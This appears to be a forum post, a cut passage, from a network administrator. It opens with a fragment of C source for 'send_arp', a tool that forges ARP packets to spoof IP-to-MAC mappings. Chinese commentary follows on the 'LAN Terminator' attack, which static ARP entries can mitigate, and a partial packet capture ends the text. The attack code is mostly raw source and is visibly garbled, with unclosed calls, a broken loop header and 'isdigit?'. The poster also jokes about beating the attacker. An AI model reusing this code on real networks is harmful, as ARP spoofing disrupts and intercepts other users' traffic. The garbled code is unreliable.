get_ip_addr(&src_in_addr, argv[1]
get_ip_addr(&targ_in_addr, argv[3]
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data,DEFAULT_DEVICE);
for (j=0;j {
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}
void die (char *str)
{
fprintf(stderr,"%s\n",str);
exit(1);
}
void get_ip_addr (struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr->s_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
bcopy(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host %s\n", str);
exit(1);
}
}
}
void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit?)
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit?)
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ = val;
if (*str == ':')
str++;
}
}
以下是我用軟件攔下的局域網終結者的記錄﹐看來這個軟件只是根據你在攻擊軟件里面輸入的IP列表的IP及MAC地址﹐然后產生一個假的MAC地址去﹐使正在使用的網絡發生異常﹐我也試著解決這個問題﹐但目前除了靜態ARP之外﹐沒有其他更好的辦法了﹐這是采用TCP/IP協議的必然了。
但是作為網管﹐完全可以追蹤到搞破壞的人的電腦呀﹐然后把此人打成馬蜂窩﹐并送公安局﹐這種只會利用別人現在工具搞破壞的人最可誤了﹗有能力自己寫吧﹗
下面作參考﹐但不要攻擊我呀﹐如果有錯誤﹐請大家指正﹐謝謝了﹗
1581 89.348477 LOCAL REALTEEE1819 SMB R tree disconnect FANLI 7733797.00E04CEE1819 IPX/XNS
Frame: Base frame properties
Frame: Time of capture = 2002/10/23 13:48:21.616
Frame: Time delta from previous physical frame: 0 microseconds
Frame: Frame number: 1581
Frame: Total frame length: 100 bytes
Frame: Capture frame length: 100 bytes
Frame: Frame data: Number of data bytes remaining = 100 (0x0064)
ETHERNET: 802.3 Length = 100
ETHERNET: Destination address : 00E04CEE1819
ETHERNET: .......0 = Individual address
ETHERNET: ......0. = Universally administered address
ETHERNET: Source address : 00E04CF8B16B
ETHERNET: .......0 = No routing information present
ETHERNET: ......0. = Universally administered address
ETHERNET: Frame Length : 100 (0x0064)
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